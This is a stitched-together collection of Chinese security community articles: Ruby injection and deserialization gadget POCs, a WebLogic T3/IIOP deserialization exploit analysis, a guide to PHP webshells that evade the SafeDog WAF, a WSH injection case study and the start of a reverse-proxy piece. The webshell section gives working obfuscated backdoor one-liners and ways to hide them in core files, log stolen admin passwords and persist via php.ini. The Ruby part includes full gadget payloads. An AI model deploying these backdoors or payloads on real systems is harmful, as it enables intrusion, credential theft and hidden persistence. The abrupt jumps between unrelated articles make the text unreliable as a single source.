说到Ruby安全不得不提RubyonRails安全，本篇着重关注Ruby本身。Ruby涉及到web安全漏洞几乎囊括其他语言存在的漏洞，例如命令注入漏洞、代码注入漏洞、反序列化漏洞、SQL注入漏洞、XSS漏洞、SSRF漏洞等。但是在具体的漏洞触发上，Ruby又不同于其他语言。
**命令注入漏洞**
命令注入漏洞一般是指把外部数据传入system()类的函数执行，导致命令注入漏洞。触发命令注入漏洞的链接符号有很多，再配合单双引号可以组合成更多不同的注入条件，例如（linux）:
* ``
* $()
* ;
* |
* &
* \n
在审计代码的时候一般会直接搜索能够执行命令的函数，例如：
* popen()
* spawn()
* syscall()
* system()
* exec()
* Open3.*
而对于Ruby，除了支持这些函数执行命令，还有一些独特执行命令的方式：
* %x//
* ``
* open()
* IO.read()
* IO.write()
* IO.binread()
* IO.binwrite()
* IO.foreach()
* IO.readlines()
%x//和``属于类似system函数，可以把字符串解析为命令：
open()是Ruby用来操作文件的函数，但是他也支持执行命令，执行传入一个以中划线开头的字符，后面跟着要执行的命令即可：
除了open()函数，IO.read()/IO.write()/IO.binread()/IO.binwrite()/IO.foreach()/IO.readlines()函数也可以以相同的方式执行命令。
open()函数引发的Ruby安全问题：
<https://hackerone.com/reports/1161691>
<https://hackerone.com/reports/651518>
<https://hackerone.com/reports/1158824>
<https://hackerone.com/reports/294462>
File.read()函数引发的Ruby安全问题：
<https://hackerone.com/reports/449482>
IO.readlines()函数引发的潜在Ruby安全问题，笔者发现，已被忽略：
<https://hackerone.com/reports/1090678>
**代码注入漏洞**
代码注入漏洞一般是由于把外部数据传入eval()类函数中执行，导致程序可以执行任意代码。Ruby除了支持eval()，还支持class_eval()、instance_eval()函数执行代码，区别在于执行代码的上下文环境不同。eval()函数导致的代码注入问题与其他语言类似，不再赘述。
Ruby除了eval()、class_eval()、instance_eval()函数，还存在其他可以执行代码的函数：
* send()
* `__send__()`
* public_send()
* const_get()
* constantize()
**send()函数**
send()函数是Ruby用来调用符号方法的函数，可以将任何指定的参数传递给它，类似JAVA中的invoke函数，不过它更为灵活，可以接收外部变量，举例：
class Klass
def hello(*args)
puts "Hello " + args.join(' ')
end
end
k = Klass.new
k.send :hello, "gentle", "readers"
#=> "Hello gentle readers"
上述代码中，实例k通过send动态调用了hello办法，假如hello字符串来自外部，便可以传入eval，注入恶意代码，举例：
class Klass
def hello(*args)
puts "Hello " + args.join(' ')
end
end
k = Klass.new
k.send :eval, "`touch /tmp/niubl`"
**__send__()函数**
`__send__()`函数和send函数一样，区别在于当代码有send同名函数时，可以调用`__send__()`。
**public_send()函数**
public_send()和send()函数的区别在于send()可以调用私有方法。
send()函数引发的Ruby安全问题：
<https://hackerone.com/reports/327512>
搜索一些不安全的用法：
**const_get()函数**
const_get()函数是Ruby用来在模块中获取常量值的函数，它存在一个inherit参数，当设置为true时（默认也为true），会递归向祖先模块查找。它还有另外一个用法，就是当字符串是已载入的类名时，会返回这个类（Ruby中，类名也是常量），类似JAVA的forName函数，常用写法是这样：
代码中，使用const_get动态实例化了类，使Ruby更为灵活。但是这样的用法如果使用不当，也会出现安全问题，例如这里（rack-proxy模块）：
如图，perform_request()函数在Net::HTTP模块中搜索HTTP方法类，然后实例化，并传递full_path请求路径参数给new()函数，HTTP方法和请求路径都是外部可控的，而且const_get()函数没有限制inherit，默认可以递归查找，在整个空间内实例化任意已载入类，并传递一个可控参数。如果找到合适的利用链，完全可以到达任意代码执行。目前，该问题已在GitHub上被发现并修复。
实战中已经有人使用此方法实现了代码执行，那就是gitlab的一个漏洞
<https://hackerone.com/reports/1125425>，
kramdown模块使用const_get()函数来动态实例化格式化类，但是没有限制inherit，导致vakzz通过使用一个Redis类的利用链达到了任意代码执行的目的，漏洞报告已经写的非常详细，不再赘述。
**constantize()**
constantize同样可以将字符串转化为类，属于RubyonRails中的用法，底层调用的const_get()函数：
def constantize(camel_cased_word)
Object.const_get(camel_cased_word)
end
下图中constantize要转化的类和类实例化的参数都可控，如果我们能找到合适的利用链，便可以到达任意代码执行：
**反序列化漏洞**
反序列化漏洞是指在把外部传入的不可信字节序列恢复为对象的过程中，未做合适校验，导致攻击者可以利用特定方法，配合利用链，达到任意代码执行的目的。Ruby也有反序列化的函数，同样也存在反序列化漏洞。
**Marshal反序列化**
Marshal是Ruby用来序列反序列化的模块，Marshal.dump()可以把一个对象序列化为字节序，Marshal.load()可以把一个字节序反序列化为对象。
Marshal反序列化的利用已有很多篇分析文章，不再赘述。
* <https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md>
* <https://www.elttam.com/blog/ruby-deserialization/>
* <https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html>
* <https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md>
使用已经公开的POC测试：
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id > /tmp/niubl")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Marshal.load(payload)
执行POC（ruby-3.0.0）：
搜索一些不安全的用法：
**JSON反序列化**
Ruby
处理JSON时可能存在反序列化漏洞，但是不是Ruby内置的JSON解析器，而是第三方开发的解析器oj（<https://github.com/ohler55/oj>）。oj在解析JSON时支持多种数据类型，包括会导致代码执行的Object类型。
使用已经公开的POC测试：
require "oj"
json = '{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"id >> /tmp/niubl"},"method_id":":resolve"}}}}],"dummy_value"]}'
Oj.load(json)
执行POC（ruby-3.0.0）：
oj可以通过设置模式，避免反序列化对象：
Oj.default_options = {:mode => :compat }
**YAML反序列化**
Ruby YAML也支持反序列化对象，pysch 4.0之前版本调用YAML.load()函数即可反序列化对象，psych
4.0以后需要调用YAML.unsafe_load()才能反序列化对象。使用已经公开的POC测试：
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Net::BufferedIO
io: !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: aaa
debug_output: !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id >> /tmp/niubl
method_id: :resolve
require "yaml"
YAML.load(open("test.yaml").read())
执行POC（ruby-3.0.0）：
Ruby YAML解析，psych4.0之前可以通过调用save_load()函数，避免反序列化对象，psych
4.0之后默认load()函数就是安全的（<https://github.com/ruby/psych/pull/487>）。
搜索unsafe_load的使用，不一定存在漏洞，需要yaml内容可控才有风险：
**正则错用**
Ruby正则大体与其他语言一样，只是在个别语法上存在差别，如果没有特别了解研究，按照其他的语言用法套用，就很有可能出现安全问题，例如Ruby在用正则匹配开头和结尾时支持^$的用法，但是支持多行匹配则需要改为\A\Z避免换行绕过。
正则错用引发的安全问题：
<https://hackerone.com/reports/733072>
搜索相关代码，还是有不少错用的：
**FUZZ Ruby解析器**
在学习Ruby反序列化时，想要通过Ruby用C语言实现Marshal，对处理不同数据类型做处理，那么可以对他进行一下FUZZ。
FUZZ使用了AFLplusplus，配置编译Ruby：
* ./configure CC=/opt/AFLplusplus/afl-clang-fast CXX=/opt/AFLplusplus/afl-clang-fast++ --disable-install-doc --disable-install-rdoc --prefix=/usr/local/ruby --enable-debug-env
* export ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:allow_user_segv_handler=0:handle_abort=1:symbolize=0"
* AFL_USE_ASAN=1 make
使用AFLplusplus的deferred instrumentation模式，对Ruby源码main.c文件稍作修改：
样本生成上，可以选取Ruby自带的测试用例，这样可以快速得到比较全面合法的样本，正好在学习Ruby
hook的方案，写了一个简单的hook函数，在rubygems.rb文件中加载，劫持Marshal模块，执行自测的同时即可保存下样本。
require 'securerandom'
module Marshal
class << self
alias_method :__dump, :dump
def dump(*args)
result = __dump(*args)
uuid = SecureRandom.uuid
File.open("/testcases/" + uuid, 'wb') {|f| f.write(result)}
result
end
end
end
想要FUZZ其他模块也可以用同样办法来获取样本。
经过一段时间的FUZZ，陆陆续续发现了一些漏洞：
1.CVE-2022-28738 doublefree in onig_reg_resize
2.CVE-2022-28739 heap-buffer-overflow in strtod
3.global-buffer-overflow calc_tm_yday
4.dynamic-stack-buffer-overflow in renumber_by_map
5.JSON.parse denial of service
虽然FUZZ出了一些问题，但是依旧存在很多未解决的问题，比如FUZZ速度、效率、自动化等，未来将继续深入探索研究。
以上是笔者在ruby中的一些学习研究汇总，如有不恰当之处，敬请斧正，一起交流学习。
### **参考链接**
* <https://hackerone.com/ruby/hacktivity>
* <https://bishopfox.com/blog/ruby-vulnerabilities-exploits>
* <https://zenn.dev/ooooooo_q/books/rails_deserialize>
* <http://gavinmiller.io/2016/the-safesty-way-to-constantize/>
* <https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md>
* <https://www.elttam.com/blog/ruby-deserialization/>
* <https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html>
* <https://bsidessf2018.sched.com/event/E6jC/fuzzing-ruby-and-c-extensions>
* * * | 社区文章 |
**作者：宽字节安全**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
### 简介
### 传统weblogic T3协议回显分析
这里主要分析<https://github.com/5up3rc/weblogic_cmd>这个工具回显利用工具。
private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),
new ConstantTransformer(new HashSet())};
return transformers;
}
通过common-collection相关gadget，想办法调用`org.mozilla.classfile.DefiningClassLoader`这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。并绑定一个实例。
`org.mozilla.classfile.DefiningClassLoader`的定义如下
public Class defineClass(String var1, byte[] var2) {??? return super.defineClass(var1, var2, 0, var2.length);}
这样就实现从字节码到类的转变。而我们需要发送的恶意类，主要作用是绑定一个实例，完成攻击者与weblogic的rmi交互即可。恶意类的绑定实例代码如下
RemoteImpl remote = new RemoteImpl();
Context ctx = new InitialContext();
ctx.rebind("aaaaaaaa", remote);
System.out.println("installed");
RemoteImpl一定要继承自ClusterMasterRemote这个接口，才可以完成rmi交互。
下面我们向 weblogic12.1.4 发送一下payload测试一下
可以看出，weblogic早就通过黑名单过滤的方式，禁止该类工具的攻击。下面我们分析一下T3反序列化漏洞
### T3反序列化分析
weblogic首先在`moudle/com.oracle.weblogic.kernel.jar中
的ExexuteThread.class`的run函数中监听7001的连接，并调用execute方法去处理请求，也就是req，如图
`this.execute`的代码如下
void execute(ExecuteRequest er) {
this.executeCount;
this.setTimeStamp(System.currentTimeMillis());
er.execute(this);
} catch (ThreadDeath var3) {
// 各种捕获异常
}
`ExexuteThread`中的`executeCount`为请求总数，随后调用`er`的`execute`去处理。也就是包装请求的类，这里为`SocketReaderRequest`。`SocketReaderRequest`主要为获取`muter`，然后调用`processSockets`去处理请求。
这里主要是通过`Nio`去处理请求，写入请求等，与漏洞分析的关系不太大。在这里将会根据请求，调用相应的协议处理请求，例如T3，http等
最后在`SocketMuxer`的`readReadySocketOnce`中，将请求全部读取完后，调用`weblogic.rjvm.t3.MuxableSocketT3@7ec904fc:Socket[addr=/127.0.0.1,port=57524,localport=7001]`的`dispatch`去处理分发请求。
最后会调用`readObject`去读取请求。如图
在`serverChannelInputStream`的`resolvClass`中，会对待反序列化的类检查一下是否为weblogic黑名单中的类，并防止该类反序列化。这里就是传说中的weblogic反序列化黑名单。
黑名单列表主要如下，相关代码位置在`wlclient.jar/weblogic/utils/io/oif/WeblogicIbjectInputFilter.class`中
### classloader 加载器
即使我们使用其他gadget绕过，结果还是会报错，报错截图如下
说明weblogic 12.1.4
已经无法使用该类。但是现实情况下，我们又不可能直接上传一个文件，或者说为了执行无文件加载，以便更好隐藏痕迹。所以，这里我用`URLClassLoader`这个类，去加载远程jar包。当然，也算是无文件落地。代码截图如下
改成gadget利用方式代码如下。该gadget目标是触发待加载类的绑定功能，也就是test函数
ChainedExtractor chainedExtractor = new ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{URL[].class}}
),
new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}
),
new ReflectionExtractor(
"loadClass",
new Object[]{className}
),
new ReflectionExtractor(
"getMethod",
new Object[]{"test", new Class[]{}}
), new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[]{}}
)
});
### 结论
1. T3协议的传输主要基于java反序列化
2. T3协议中，如果待反序列化中的任意一个类在黑名单列表，反序列化都会终止，并抛出异常
所以，我们想要在新版本weblogic实现回显，就有如下两个思路
1. 可以绕过黑名单的gadget 例如cve-2020-2555
2. 新的反序列化途径，根本就没有黑名单过滤，例如cve-2020-2551
## T3回显方案(cve-2020-2555)
既然上面已经分析了，T3的话，我们可以使用cve-2020-2555的gadget去实现相关功能，最终触发恶意类的绑定函数，成功绑定一个实例，并可以实现执行命令，如图
查看jndi绑定树
### 不足之处
该gadget无法在weblogic 10.3.6 下使用，因为找不到相关gadget的类，如图
通过之前的分析，我们可以得出结论，weblogic的iiop反序列化不会使用weblogic黑名单。所以，通过iiop的反序列化漏洞+`common-collection`相关gadget可以实现通用版本的回显方案。这里需要注意，单纯在攻击端执行bind触发漏洞，是不会绑定一个实例的。即使绑定成功，也无法远程调用的。java反序列化不会传递类的代码和结构，只会传输类中的变量。所以这也就是我们为什么需要classloader的原因。
### IIOP绑定实例
首先创建一个iiiop的context
String rhost = converUrl(host, port);
Hashtable<String, String> env = new Hashtable<>();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
return new InitialContext(env);
然后构造2555或者common-collection的gadget，然后调用context的rebind发送反序列化对象，主要是调用恶意类的bind功能，恶意类的代码如下
gadget如下
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
System.out.println("CVE-2020-2555 Gadget构造成功，正在发送中...");
context.rebind("UnicodeSec" + System.nanoTime(), badAttributeValueExpException);
执行成功后如下
当然这个是无回显的，所以我们需要获取远程对象，检查是否已经绑定成功。所以通过如下代码检测
try {
System.out.println("检查是否安装rmi实例");
Context initialContext = getInitialContext(converUrl(host, port));
ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup(bindName);
return remoteCode;
} catch (Exception e) {
if (e.getMessage() != null && e.getMessage().contains(bindName)) {
System.out.println("rmi实例不存在...正在安装中");
### IIOP 执行命令代码
绑定成功后，首先要获取刚才绑定的恶意类，绑定名称`aaaaaaaa`，通过`initialContext.lookup`函数查找。查找成功后，通过下面代码实现命令执行以及回显
String commandResponse = remoteCode.getServerLocation("showmecode" + command);
System.out.println("命令结果如下");
System.out.println(commandResponse);
恶意类的getServerLocation如下
当然上述操作已经打包成工具，执行如下
**参考:**
1. <https://xz.aliyun.com/t/7393>
2. <https://github.com/5up3rc/weblogic_cmd>
感谢大佬关注公众号，不胜感激
powered by UnicodeSec
* * * | 社区文章 |
写在前面：
过狗相关的资料网上也是有很多，所以在我接下来的文章中，可能观点或者举例可能会与网上部分雷同，或者表述不够全面。
但是我只能说，我所传达给大家的信息，是我目前所掌握或者了解的，不能保证所有人都会有收获，但是个人水平有限，可能您觉得文章水平过低，或者并无太大营养。但是跳出文章本身，无论何种技术，重在交流，分享与总结。
另外，希望年轻人不要有太多戾气，更多的是需要保持一个谦逊态度对待技术，尤其是这个浮躁的安全界。
以上是我的开场白（没办法，这是我的一贯风格）
写php后门连载的目的。
希望大家能够暂缓日站的脚步，静下心来想一想，我们在用菜刀做一些除(sang)暴(jin)安(tian)良(liang)的事的时候，php做了些什么，安全狗又蜷缩在门后目睹了些什么。
其实我更愿意传授安全之道，而非渗透之术。
参考过网上很多种已有的php后门的写法，总之思路各种奇葩与新奇，但是衡量一个优秀的php后门并不是单单的看代码多少，过狗怎么样，而是一种基于实际场景的一种变通，所以，php后门这是一门艺术。
连接后门时发生了什么
所以当我在菜刀中双击连接的时候到底发生了什么，安全狗又是如何发现后门并拦截的？
php后门原理很简单，当我们连接时，实际上我们会向php文件post数据，这个数据的内容为我们需要php去执行的代码，当php获取到数据并执行后，将返回一个response。
那么waf能够识别到什么层次？
其实waf最多获取到tcp数据，也就是说，可以获取到我们所post的数据，与服务器所返回的数据，至于php执行命令的过程，用了什么对象，走了什么函数，大部分waf是无法得知的，只能检测敏感字符的提交与返回，与特征查杀。
所以即使是eavl()这个最原始的函数php如何去执行，waf是不管的，但是实际情况你可能还没到那一步，后门就被和谐了。
因为在此之前waf肯定要对后门文件进行特征分析，这关过了，才到数据层，最后才到返回层，那么接下来第二章与第三章将从后门构造与数据提交角度来探讨过狗的方式。
由于waf软件众多，防护机制不尽相同，我的一系列文章全部以安全狗为例。
## WAF如何查杀
首先，后门写入的方式有很多，比如程序本身的move函数，远程包含，数据库导出等等方式，在这里就不详细展开了，
在后门写入过程中，waf首先会对文件的格式进行一个黑白名单检测，如一律不允许php文件上传。
如果上传这一步可以过，那么接下来就是对上传的文件内容进行被动查杀。
而后门特征的查杀一般在后门上传的过程与访问的过程，waf会使用相关的正则与代码预编译来判断是否为危险代码。
以前还经常有用字符串叠加或者加注释来躲避字符串匹配，但是现在很难单纯靠这种方式来绕过了。
当我们的代码本身可以过狗，加工post数据后门执行也没有问题后，最后就是WAF对返回的敏感信息进行检测与过滤了。
除此之外WAF可能会对特殊上传的文件进行权限控制，例如无法执行某些命令等等。
理论篇其实本身并没有太多的东西可说，更多的是希望大家对于WAF有个初步的认识，不要盲(qiang)目(xing)过狗，滥用菜刀。
那么下面两篇文章会分别从后门构造篇与数据传输篇来阐述过狗的来龙去脉。
其实狗狗还是很可耐的额。
## 后门构造思路，与安全狗文件特征检测的机制。
另外强调一下，这篇文章需要大家对于php有一定的认识。
本章节分为三大部分，第一部分针对初级，分析菜刀php代码的执行过程，较基础；第二部分主要总结一些可以利用的后门姿势，这部分我主要给大家分享一些搜集的后门，希望可以拓展大家的思路；第三部分主要分享后门隐藏之道。
声明：在后门举例中大部分后门构造与思路，可能网上都有类似的，如有雷同，来打我呀！
目前主流的waf软件（如安全狗）一般对于后门文件有主动查杀与被动查杀，主动好理解，被动主要就在于你访问该文件的时候，对该文件就行查杀，比如链接菜刀的时候。
因为安全狗对后门的查杀其实就是对代码的一个预编译，去除注释等无用代码，遇到if，直接检查if内部内容。
安全狗获取其他各种waf有什么样的特征库，我们并不能全部知晓，我们能做的只有一点点尝试，WAF永远在更新，黑阔门永远在换套路，几乎没有一劳永逸的后门。
说明：如果想更好的过狗，那么php是必须要会的，为了尽量照顾到不会php的同学，本文分享一些猥琐思路弥补一下。
先来一个最简单的过狗后门
下面分享的几个一句话都是可以直接过狗的，虽然很简单，但此之前，我们来遛一遛狗。
<?php $_GET[a](https://xianzhi.aliyun.com/forum/topic/342/$_GET);?>
这句话已经可以执行一切命令了，但是必然被杀，
[
我们可以用extract函数简单的处理下请求的数据
[
当然，想要完美过狗，执行更多命令，还需要数据层加工，详情参考第三章。
经典的回调函数
很多时候并不是给变量多一层加密就安全，其实很多waf对base64_decode相当敏感。
例如：
@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
原理分析：xx参数直接传入一个assert函数，sofia参数传入assert(eval('执行代码'))。
[
直接暴出array_map后门，试试去掉base64？
[
没错，就这么简单，最危险的地方就是最安全的地方，起码文件特征安全狗确实没有检测出来。
然而这个一句话D盾是四级的，因为稍微懂点的人都能看出来是个后门。
但是距离实际意义上的过狗还是远远不够的，还需要数据层加工，详情参考第三章。之后你会发现，就这个一句话修改下post数据，可以完整过狗。
不卖关子：
@array_map(assert,(array)base64_decode($_REQUEST['sofia']));
连接方法：test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密码 ：vuln
再来一个回调后门
<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);
$arr = array($Base($_POST['sofia']) => '|.*|e',);
@array_walk($arr, $_clasc, '');
?>
这是我之前修改过的一个版本，这里用的其实还是preg_replace后门，也是通过回调函数来实现执行，同样可以过：
[
详解：
带入参数：
vuln=cHJlZ19yZXBsYWNl(preg_replace)
sofia=cGhwaW5mbygp(phpinfo())
<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace
$arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
?>
网上有很多现成的回调函数或者其他方式来过特征检测，再这里就不重复造轮子了。
## 后门隐藏
权限维持也是渗透中重要的环节，隐藏的不到位第二天就掉权限，猥琐的后门能一辈子跟随。
### 方法一：远程读取或者include文件
这个方法比较常见，如：
<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}
但是就个人而言，我一眼看上就觉得有鬼，哪个正常程序会鬼畜到包含一个日志文件或者图片，当然也要根据场景来定。
### 方法二：
将代码放到核心函数文件中，做好文件时间修改，只要查杀不出来，一般站长也不会去动核心文件，也是具有一定隐蔽性的，
[
### 方法三：创建类或者函数，分离后门代码
这样的话基本上很难查杀了，比如再global_function.php类的文件中创建一个类，或者函数，在所调用这个核心函数的相关文件中实例化一个类，调用函数，那么也是妥妥执行的。
如：把class放到核心类文件中，在相关的调用文件中放入执行代码，隐蔽性会加强很多。
<?php
class Parse_Args {
public function apply_filters($key) {
assert($key);
}
}
//执行代码
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);
?>
[
[
### 方法四：直接加密代码
直接将后门文件加密，
[
[
其实这就只是eval($_POST[x])加密后的结果，还需要构造什么？但是在渗透过程中可用性并不是很高，很多时候要写入后门代码，这根本没法写的，只能作为一种维持手段。
### 方法五：创建手工后门
php不仅可以获取get，post数据还是可以获取server数据的，如user-agent，referrer，cookie，client
ip，所以我们完全可以在这些参数中加入需要执行的代码，但需要注意的是有的参数日志中会记录，这里仅提供思路，大家根据实际情况取发挥。
### 方法五：间接维持后台权限
可以直接在后台登陆页所include的核心函数中加入获取用户名密码的代码，如直接生成到本地服务器的一个txt中（可以加密下），记住这个隐蔽的url，时不时就会有密码记录，或者远程post密码到自己的服务器上。
可以在后台页面中插入一个xss，这种效率相对较低，但是也是一种思路。
### 方法六：来硬的
这种方法只能针对中小站长，找到一个网站的核心但是又不常用的文件，比如lang文件等等，将自己后门加入，然后将整个文件加密，再替换源文件，功能一切正常，站长对这类文件不会起太大疑心。
这个思路也可以结合方法三。
### 方法七：php.ini后门
修改php.ini配置来达到每个页面都执行某个后门，每个php都是后门，比如可以配置auto_prepend_file，自动加载某个文件，这部分后期抽时间再单独写出来。 | 社区文章 |
# 【技术分享】WSH注入：实例一则
|
##### 译文声明
本文是翻译文章，文章来源：enigma0x3.net
原文地址：<https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[h4d35](http://bobao.360.cn/member/contribute?uid=1630860495)
预估稿费：110RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
在2017年举办于纳什维尔的BSides会议上，Casey
Smith（[@SubTee](https://twitter.com/subtee)）和我（Matt
Nelson，[@enigma0x3](https://twitter.com/enigma0x3)）做了一个题为《[Windows Operating
System
Archaeology](https://www.youtube.com/watch?v=3gz1QmiMhss)》的演讲。在这个演讲中，我们展示了一些在Windows中利用组件对象模型（Component
Object Model，COM）的攻击技术。接下来我将讨论在上述演讲中提到的利用攻击者控制的输入来调用 **GetObject()**
函数进行攻击的方法。
某些系统环境使用白名单来防止未签名的 **Windows Scripting Host（WSH）**
文件运行，特别是随着恶意的.js或.vbs脚本文件越来越多。然而，通过将我们的恶意代码注入到一个经过微软签名的WSH脚本中，我们可以绕过这样的限制。
在深入研究那些可以被用于注入的脚本之前，了解一下其中的工作机制很重要。在进行注入攻击时，我们利用攻击者控制的输入作为参数传递给
**GetObject()** 函数，然后将其与 **script:** 或 **scriptlet:** COM标记相结合。
**GetObject()函数**
此方法允许你访问某个已实例化的COM对象。如果没有该对象的实例（如果以不含COM标记的方式调用），那么该函数调用将会执行失败。例如，通过
**GetObject()** 函数访问Microsoft Excel的COM对象的方法如下所示：
Set obj = GetObject( , "Excel.Application")
为了使上述代码工作，必须有一个Excel的实例在运行。[点此](https://ss64.com/vb/getobject.html)了解更多更多关于
**GetObject()** 函数的信息。
**COM标记**
虽然GetObject()函数本身很有趣，但它只允许我们访问一个已经实例化的COM对象。为了解决这个问题，我们可以实现一个COM标记来方便我们的payload执行。如果你不熟悉COM标记，可以[点此](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691261\(v=vs.85\).aspx)阅读更多相关信息。Windows系统中有许多不同的COM标记，允许你以各种方式实例化对象。从攻击的角度来看，你可以使用这些标记来执行恶意代码。不过这是另外一篇博客文章的主题了:-)。
就本文而言，我们将重点介绍 **script:** 或 **scriptlet:**
这两个标记。这些特定的标记与scrobj.dll配合，有助于COM脚本的执行，而这将作为我们的Payload。这是由Casey
Smith（[@SubTee](https://twitter.com/subtee)）发现的，在[2016年的DerbyCon](http://www.irongeek.com/i.php?page=videos/derbycon6/522-establishing-a-foothold-with-javascript-casey-smith)上进行了讨论，并且发表了[文章](http://www.irongeek.com/i.php?page=videos/derbycon6/522-establishing-a-foothold-with-javascript-casey-smith)。
如下所示是一个COM脚本：
<?XML version="1.0"?>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</scriptlet>
你还可以使用James
Forshaw（[@tiraniddo](https://twitter.com/tiraniddo)）开发的工具DotNetToJScript在COM脚本中扩展JScript/VBScript，该工具允许调用Win32
API，甚至执行Shellcode。 当你将这两个COM标记中的任意一个与GetObject()函数的各种调用相结合时，情况将会变得很有趣。
非常简短的COM背景知识介绍已经结束，是时候来看一个实例了。
**PubPrn.vbs**
在Windows 7及更高版本的Windows系统中，有一个名为 **PubPrn.vbs** 的已被微软签名的WSH脚本，它位于
**C:WindowsSystem32Printing_Admin_Scriptsen-US**
目录中。看一下这个脚本的代码，很显然，它接收用户提供的输入作为参数（通过命令行参数）并将参数传递给 **GetObject()** 函数。
这意味着我们可以运行这个脚本并传递它所期望的两个参数。第一个参数可以是任何东西，第二个参数是通过 **script:** 标记方式传递的Payload。
注意：如果你提供的第一个参数值不是一个有效的网络地址（因为它需要一个ServerName），则可以在调用时为cscript.exe增加 **/b**
参数，以便抑制额外的错误消息。
由于VBScript依靠COM组件来执行操作，因此它在许多Microsoft签名的脚本中被大量使用。本文仅提供了一个实例进行说明，一定还有其他脚本能够以类似的方式被利用。我鼓励你去继续探索。 | 社区文章 |
# 浅析反向代理
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近这段时间频频接触到反代的东西，所以就更进一步的了解了一番,
有什么不对的地方还请大佬们指正~本文需要用到的代码已上传[Github](https://github.com/Passer6y/Reverse_proxy)
本文涉及到的东西仅供技术研究，请勿用于非法用途，否则后果自负。
## 0x01: 前言
最近把博客重新弄了一下，发现了一个特别有意思的东西，看图~
还有一些有意思的东西，比如反代谷歌(谷歌镜像站)、钓鱼、绕过国内备案和线下CTF中的一些骚操作，等等。
## 0x02: 简介
反向代理，简而言之就是反向代理服务器从目标内容服务器上抓取内容返回给用户，反向代理服务器充当一个中介功能，他本身是没有任何内容的。区别于正向代理而言，反向代理是代理的服务端，而正向代理是代理的客户端。
再来简单介绍一下我在前言中所说的我让我的博客ip是如何变成1.1.1.1的，其实1.1.1.1是一台DNS服务器(号称全球最快的DNS)，正好1.1.1.1又是cf
cdn中的一个节点。这样我们就可以将域名解析到1.1.1.1，然后在cf中设置好真实的回源地址即可。在文末已附上教程链接，感兴趣的可以玩玩~
## 0x03: 一些有意思的东西
